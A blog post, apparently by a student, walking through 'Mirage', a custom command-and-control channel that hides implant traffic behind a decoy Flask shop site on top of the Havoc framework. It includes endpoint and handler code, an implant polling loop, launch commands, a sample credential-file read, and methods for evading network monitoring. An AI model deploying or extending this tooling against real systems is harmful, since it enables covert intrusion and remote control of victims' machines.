Most people think building a C2 server is some kind of dark arts only performed by elite level hackers. In reality, its actually pretty simple if you know basic python HTTP libraries you can most likely design yourself a working custom C2 channel. I know because I just did it and I'm an average college cybersecurity enthusiast.
Before go into major details, lets get into some fundamentals (I'll try not to make it boring)
Basic Fundamentals
What is a C2 (Command & Control) Server?
Let's understand the concept of C2 server through an analogy.
The Underground Drop: How C2 (Command and Control) Servers Actually Work
Most people think C2 infrastructure is some advanced spy-level operation only nation state threat actors touch. Its not. Its just a synchronized anonymous delivery system hiding in plain sight, and once you get the mental model down it actually makes a lot of sense. Here is the analogy I used to wrap my head around it.
The four players involved
The Designer (Attacker)
You sit in a hidden workshop. You never talk to anyone directly. You just write orders, things like "check what files are here" or "tell me what user is logged in", and leave them in an outgoing tray on your desk.
The Storefront (C2 Server)
Looks like a completely normal website from the outside. But tucked in the back room are two secret drawers. One for leaving new orders. One for picking up results. The storefront does not know who the designer is, does not know who the buyers are. It just holds envelopes.
The Courier (Handler/Listener)
Because the designer never leaves the workshop, a courier handles the commute. They check the outgoing tray, run to the storefront, slip the order into the back room drawer, and check if anything was left behind. If something is there, they carry it back.
The Buyer (Implant)
This is the collector already moving through the city, the malware running on the compromised machine. Every few seconds they casually stroll past the storefront, check the back room drawer, and if an order is waiting they go execute it and drop the results back for the courier to collect.
To summarise Command and Control (C2) is the bidirectional lifecycle of an intrusion. Command is the top-down transmission of malicious intent (the Designer writing an order and the Courier delivering it to the drawer). Control is the bottom-up persistence and feedback loop (the Implant executing the order, returning the stolen data, and checking back infinitely for the next task). The C2 Server (Storefront) is the blind, neutral ground that allows this loop to happen without the target ever discovering where the workshop is hidden.
Hackers often times set up their C2 server on the infected victim device in order to execute commands and exploit it. This way they can also spy on a large number of computer devices as well.
What is a C3 (Command, Control & Communication) server?
A C3 server is just a custom implementation of a C2 server, its basically used to implement the most important factor "security" on top of the C2 server which makes it extremely stealthy. Lets take the help of the same analogy.
The Disguise Layer (C3 Channel)
This is not a new person in your network. It is the specialized tradecraft, the specific disguises, and the hidden routes used by your existing players to make sure the town guards never catch on to the operation. While C2 sets up the business, C3 is the camouflage that keeps it invisible.
The Secret Code (Data Serialization)
The buyer and courier do not walk around carrying plain text notes that say execute command. They translate every single message into a highly specific shorthand cipher. They wrap their letters in custom headers and convert the entire package into an innocent-looking string of text. To anyone snooping, it looks like random cargo data, not operational commands.
The Curated Display (Transport Obfuscation)
The storefront hides its secret drawers behind a high-end storefront styled with premium typography and artwork. When the buyer stops by, they blend in perfectly with standard foot traffic. To a lookout watching the street, the buyer simply looks like a regular customer browsing a public luxury imports catalog, completely masking the secret exchange happening in the back drawer.
The Alternative Routes (Pluggable Channels)
The best part of this setup is that the transport method is entirely swappable. If the guards start watching the anime storefront, the designer does not rewrite the business model. They just tell the courier and buyer to switch routes. Instead of the shop drawer, they start hiding their coded notes inside the public comments of a community bulletin board or tucked inside an ordinary corporate complaints mailbox. The orders stay exactly the same, but the tracking trail completely vanishes.
The Backbone: Setting Up the Havoc Framework
Before diving into the custom stealth mechanics, you need a solid core engine to handle the heavy lifting. For this project, that backbone is Havoc. Now a simple question may arise in your mind, why do we need to use Havoc?
Let's be real: building a full-scale C2 framework from scratch is a massive, time-consuming headache. You have to manually code session databases, design a multi-user interactive console, handle complex task queues, and write code generation engines just to get a basic connection. It makes way more sense to use Havoc because it provides a highly stable, ready to go engine out of the box, allowing you to focus your energy entirely on the fun part: custom stealth mechanics.
Havoc gives you a powerful multi-session Teamserver backend, an interactive management console, a built-in script builder, and an official Service API that allows developers to register and manage completely custom agent types natively.
In order to use the havoc framework, we would need to download it using the github repo:
HavocFramework
/
Havoc
The Havoc Framework
Havoc
Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.
Quick Start
Please see the Wiki for complete documentation.
Havoc works well on Debian 10/11, Ubuntu 20.04/22.04 and Kali Linux. It's recommended to use the latest versions possible to avoid issues. You'll need a modern version of Qt and Python 3.10.x to avoid build issues.
See the Installation docs for instructions. If you run into issues, check the Known Issues page as well as the open/closed Issues list.
Features
Client
Cross-platform UI written in C++ and Qt
- Modern, dark theme based on Dracula
Teamserver
Written in Golang
- Multiplayer
- Payload generation (exe/shellcode/dll)
- HTTP/HTTPS listeners
- Customizable C2 profiles
- External C2
Demon
Havoc's flagship agent written in C and ASM
I won't go too much into detail on how to download it and set it up, because someone already wrote a medium article about it. The writer also talked more in depth about C2 frameworks, highly recommend you to read the article.
Mirage: My C3 Server Extension Layer Hiding in Plain Sight
So after going over the havoc framework we can now dive into how I built my hidden C2 server. So lets get started officially.
Mirage is the name of my custom C3 (Custom Communication Channel) built on top of the Havoc C2 Framework. It routes agent traffic covertly through a public-facing website turning ordinary HTTP endpoints into a fully functional command and control channel.
Before I get started here's my github repo for the Mirage project so you can check it out here.
Let's start with the project structure so you know what we're working with before diving into the architecture.
mirage/
├── main.py # Flask website + hidden dead drop endpoints
├── agent.py # The implant that runs on the victim machine
├── handler.py # Registers custom agent with Havoc + handles
Architectural Breakdown of My Mirage Setup
Firstly we have a public facing web server which is assumed to be compromised and runs agent.py, which sets up secret memory drawers (/api/telemetry and /api/sync) behind a normal looking website which is hosted on localhost:4696
This means the front end interface acts as a perfect decoy, letting regular users browse while the back end endpoints function as an asynchronous mailbox queue where commands and results can sit safely without a direct connection.
The website is built using simple flask in main.py, you can customise and build the website however you want. Because the core routing relies on standard Python dictionaries and web deques, you can wrap any layout, HTML templates, or CSS styling around it.
For this specific build, I styled it as a clean, minimal Tokyo anime import shop complete with custom typography to ensure any passive network analysis just sees standard web traffic to a digital catalog.
Let's see how each component of our Havoc C2 framework interacts with the compromised website with the help of below flow chart.
The Data Lifecycle: Step by Step Command Flow
Every time an operator interacts with the terminal session, the data takes a structured, asynchronous journey through the pipeline
-
1. Command Generation: The operator types an operational command (like
shell ls) directly into the interactive Havoc Teamserver session tab. - 2. Task Queuing: The core Havoc client registers the user input and queues it up internally as a pending tasking frame.
-
3. Websocket Interception: Operating over Havoc's native Service API,
handler.pyreceives the tasking package instantly via an authenticated websocket connection.
Havoc_python = python()
print(os.getpid())
print("[*] Connect to Havoc service API")
havoc_service = HavocService(
endpoint="wss://127.0.0.1:40056/service-endpoint",
password="service-password"
)
print("[*] Register agent with Havoc")
havoc_service.register_agent(Havoc_python)
poller = Thread(target=Havoc_python._poll_flask, daemon=True)
poller.start()
print("[+] Poller thread started")
while True:
time.sleep(1)
-
4. The Drop-Off: The handler serializes the command, encodes it into a Base64 block, and pushes it up to the Compromised Website via a
POST /api/syncrequest.
@app.route("/api/sync", methods=['POST'])
def listener_upload():
data = request.json.get("data")
if data:
listener_to_agent.append(data)
return jsonify({"status": "ok", "data": None})
-
5. The Asynchronous Poll: On its own distinct sleep interval,
agent.pyon the target machine beacons out to pull down requested commands.
global agentid
agentid = get_random_string(4)
sleeptime = 5
registered = ""
outputdata = ""
while registered != "registered":
registered = register()
if registered != "registered":
print("[-] Registration failed, retrying...")
time.sleep(5)
print("[+] REGISTERED SUCCESSFULLY! DROPPING TO SHELL QUEUE.")
-
6. Command Retrieval: The agent requests waiting instructions from the web server via a standard
GET /api/telemetrycall, which pops the payload off the Flask queue.
@app.route("/api/telemetry", methods=['GET'])
def agent_download():
if listener_to_agent:
return jsonify({"status": "ok", "data": listener_to_agent.popleft()})
return jsonify({"status": "ok", "data": None})
-
7. Execution & Return: The agent strips the formatting headers, drops the command into the local system shell, and passes the terminal response back up using a
POST /api/telemetryupload.
@app.route("/api/telemetry", methods=['POST'])
def agent_upload():
data = request.json.get("data")
if data:
agent_to_listener.append(data)
return jsonify({"status": "ok"})
-
8. Collecting the Loot: The background synchronization thread inside
handler.pychecks back with the web server viaGET /api/syncto see if any execution results are waiting.
@app.route("/api/sync", methods=["GET"])
def listener_download():
if agent_to_listener:
return jsonify({"status": "ok", "data": agent_to_listener.popleft()})
return jsonify({"status": "ok", "data": None})
- 9. Handshake Completion: The handler catches the returned Base64 string, translates it back into a raw binary buffer, and forwards the response frame back into Havoc's service backend.
- 10. UI Update: The session interface unmarshals the data stream, and the terminal output cleanly renders on the operator's monitoring screen.
The Two Functions That Power Everything
Mirage is built around two functions. Everything else, the registration, the task relay, the output handling, is abstracted away. These two are the only things you need to touch if you want to swap the channel.
def uploadData(data: str):
"""
Receives a Base64 string.
Send it anywhere -- HTTP POST, Discord webhook, S3 bucket, DNS query, whatever.
"""
pass
def downloadData() -> str:
"""
Poll your channel for incoming data.
Return the raw Base64 string from the other side.
"""
pass
Swap these out in both agent.py and handler.py and you have a completely different C2 channel. Some ideas:
- Discord webhook - POST the blob as a message, poll the channel for replies
- S3 bucket - write objects with a known key pattern, poll and delete on read
- DNS - encode the blob in TXT record queries against a domain you control
- Pastebin / GitHub Gist - create a paste, poll by URL
- Steganography - hide the blob inside an image uploaded to Imgur
As long as what goes into uploadData comes back out of downloadData intact, the rest of Mirage works without a single line change.
The Deployment: Bringing Mirage to Life
When you are dealing with asynchronous C3 framework, the order of operations by which you run files is very important as wrong order can cause the entire pipeline to collapse
The Startup Routine
Here is the exact order you need to follow when launching the components across your workspace:
# 1. Start the core C2 teamserver backend
./havoc teamserver --profile ./profiles/havoc.yaotl
# 2. Fire up the Flask web storefront decoy
python main.py
# 3. Launch your custom service handler to bridge Havoc
python handler.py
# 4. Open the visual Havoc client UI to interact with your dashboard
./havoc client
# 5. Finally, execute the implant on the target machine
python agent.py
Analyzing the Operational Logs
When everything spins up correctly, your terminal screens should show a clean handshake passing from Havoc, through your Python service API, and down to the web relay.
The Handler Connection
When you launch handler.py, it instantly reaches out to open an authenticated WebSocket channel into Havoc's listener framework:
The Teamserver Backend
Over on the Havoc Teamserver terminal, you will see the framework recognize your custom C3 extension layer and seamlessly mount it onto the active session database:
The Secret Check-In
The moment agent.py executes on the victim machine, it runs its initialization routine. It queries the local host system details, bundles them up, and drops the registration package into the Flask web storage drawer.
The background poller thread inside handler.py catches the payload, parses the custom 12-byte framing header, and serves it up to the Teamserver:
Proof of Concept: Executing Commands Covertly
After setting up the entire pipeline for the C2 framework and hoping no errors pop up we can finally test it out. After opening the havoc client UI, we will see something like this
We can see different session id's that handler.py registers with Havoc. They match the random AgentID strings generated by the implant.
It accurately maps the system configurations fetched during the initial handshake, as we can see since I hosted my flask website on localhost internal ip address is being shown as 127.0.0.1
User is registered under Kali as I'm using a Kali VM and it spoofs the OS as Windows 10 (as hardcoded in our handler.py profile structure 10.0.1.0.19041) while correctly identifying the running process name as python.
Once we click on the agent ID and interact with it, a terminal where you can type commands will pop up. As we can see it says our clicked agent is registered. Now you can type any command like shell ls, shell cat /etc/passwd etc you want to execute on the victim's computer (which in this case the agent and the attacker machine are the same VM since we configured a loopback address (127.0.0.1) for demonstration purposes)
After entering our command and waiting for a few seconds, output of the command is shown on the terminal which means that our C2 framework is working correctly
Below is a full walkthrough video of Mirage in action from setting up the files to getting a live shell on the target machine.
The Cryptographic Disguise: Inside the Encoding Pipeline
Let's say if a normal implant executes a command on a victim's computer and sends it over a raw socket. This creates a network signature that can be easily tracked by various defensive SOC tools. Mirage prevents this by running every transmission through a multi-stage packaging, serialization, and translation pipeline.
To keep network monitors from spotting the traffic, data is systematically reshaped before it touches the wire. It goes through a simple four step disguise process.
-
1. The Wrapper: User types command
(shell ls)and its wrapped in a clean JSON format{"task": "gettask", "data": "output"} - 2. The Tag: A tiny 12-byte binary header is slapped onto the front. This header holds the packet size, validation keys, and the unique ID of the compromised machine.
- 3. The Clean Text: The entire packet is converted into a Base64 string. This strips away all suspicious code characters and null bytes, turning it into an innocent-looking block of standard text.
- 4. The Safe Delivery: This text block is placed inside a final web form request and sent over standard HTTP. To a network monitor, it looks exactly like an ordinary user filling out a form on an anime website. The network logs as you can see look like simple HTTP requests to disguise the malicious commands being sent by the C2 server.
Conclusion
And that's Mirage a dead drop C2 that hides in plain sight behind a fake Japanese import shop.
The core idea is very simple if the teamserver never talks to the agent directly, there's no direct connection to trace. Every byte of C2 traffic looks like normal web requests to a boring website. Blue team sees HTTP. You have a shell.
From here the rabbit hole goes deep. You can do many things like swapping the Flask dead drop for S3, DNS, Discord webhooks, or steganographic image uploads. The channel is just two functions. Everything else stays the same.
If you made it this far, go build something with it. The code is on GitHub here. Thanks for reading:)

















Top comments (2)
Great job :)
thanks man